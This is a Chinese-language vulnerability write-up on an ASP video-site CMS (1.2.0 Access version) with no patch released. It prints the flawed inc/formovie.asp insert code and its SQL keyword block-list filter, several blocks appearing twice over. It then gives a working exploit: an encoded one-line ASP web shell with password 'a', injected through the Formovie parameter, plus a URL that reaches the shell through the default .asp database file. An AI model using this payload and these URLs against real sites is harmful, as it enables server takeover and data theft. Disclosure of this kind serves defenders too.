作者:冰sugar
官网:
影响版本:
软件版本信息: 1.2.0 access (其他还未试过)
未出补丁
程序介绍:
采用S/B三层结构编写逻辑更清晰维护更简单,页面显示更快,执行效率更高
栏目自由分类
地区添加修改
独特的专题栏目
可生成HTML与动态切换
方便快速的一键生成 生成进度的显示
逻辑清晰管理更方便
系统集成主流播放器 Qvod 17bobo 迅雷 youku 土豆 56 新浪视频 qq视频 sohu视频 6间房 Flv 流媒体等播放器
后台自由的播放器设置
强大的播前广告
幻灯随意修改添加
方便的友情连接管理
风格模板标签编辑 强大的模板功能 简单的模板标签
漏洞分析:
在文件inc/formovie.asp中:
view plaincopy to clipboardprint?
dim fortime
fortime=now()
conn.execute("INSERT INTO "&web_dbtop&"formovie (forcontent,fortime) VALUES ('"&DelHtml(NoSqlHack(Trim(Request.QueryString("Formovie"))))&"','"&fortime&"')")
//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.
dim fortime
fortime=now()
conn.execute("INSERT INTO "&web_dbtop&"formovie (forcontent,fortime) VALUES ('"&DelHtml(NoSqlHack(Trim(Request.QueryString("Formovie"))))&"','"&fortime&"')")
//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.
//第六行Formovie变量经过了NoSqlHack和DelHtml进行过滤.
看看NoSqlHack函数的代码
view plaincopy to clipboardprint?
Function NoSqlHack(content)
Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
If content = "" Or IsNull(content) Then Exit Function
Str_InputStr=content
f_NoSqlHack_AllStr="dbcc|alter|drop|* |and|exec|or|insert|select|delete|update|count|master|truncate|declare|char|mid(|chr|set |where|xp_cmdshell|tab|union"
f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")
For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)
If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then
If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" \' "
Response.Write "<html><title>警告</title><body bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>您提交的数据有恶意字符</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br/><li>您的数据已经被记录!</li><br/><li>您的IP:"&Request.ServerVariables("Remote_Addr")&"</li><br/><li>操作日期:"&Now&"</li></font><script type='text/javascript'>
//<![CDATA[
if (document.getElementById('processtime')) document.getElementById('processtime').innerHTML="<span class='runtimedisplay'>Run in 192 ms, 7 Queries.</span>";
//]]>
</script></body></html>"
Response.End
End if
Next
NoSqlHack = Replace(Replace(Str_InputStr,"'","''"),"%27","''")
End Function
Function NoSqlHack(content)
Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
If content = "" Or IsNull(content) Then Exit Function
Str_InputStr=content
f_NoSqlHack_AllStr="dbcc|alter|drop|* |and|exec|or|insert|select|delete|update|count|master|truncate|declare|char|mid(|chr|set |where|xp_cmdshell|tab|union"
f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")
For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)
If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then
If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" \' "
Response.Write "<html><title>警告</title><body bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>您提交的数据有恶意字符</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br/><li>您的数据已经被记录!</li><br/><li>您的IP:"&Request.ServerVariables("Remote_Addr")&"</li><br/><li>操作日期:"&Now&"</li></font><script type='text/javascript'>
//<![CDATA[
if (document.getElementById('processtime')) document.getElementById('processtime').innerHTML="<span class='runtimedisplay'>Run in 192 ms, 7 Queries.</span>";
//]]>
</script></body></html>"
Response.End
End if
Next
NoSqlHack = Replace(Replace(Str_InputStr,"'","''"),"%27","''")
End Function
再看正则表达式的代码,过滤的很多. www.arpun.com
view plaincopy to clipboardprint?
Function DelHtml(Str1)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = "(<[^>]*?>)" //使用正则过滤了
regEx.Global = True
regEx.IgnoreCase = True
DelHtml = replace(regEx.Replace(""&str1,"")," ","")
End Function
Function DelHtml(Str1)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = "(<[^>]*?>)" //使用正则过滤了
regEx.Global = True
regEx.IgnoreCase = True
DelHtml = replace(regEx.Replace(""&str1,"")," ","")
End Function
虽然过滤的很多但是我们可以插入一句话,只要将一句话变形一下就行了.
这里我附带一句话密码a:
┼癥污爠煥敵瑳∨≡┩>
┼癥污爠煥敵瑳∨≡┩>
利用默认数据库为asp,可以拿到shell.
Exp:
http://target/inc/formovie.asp?Formovie=?/a>喟Y污爠煥敵瑳∨≡┩> //插入一句话
http://target/data/%23db.asp //一句话连接.











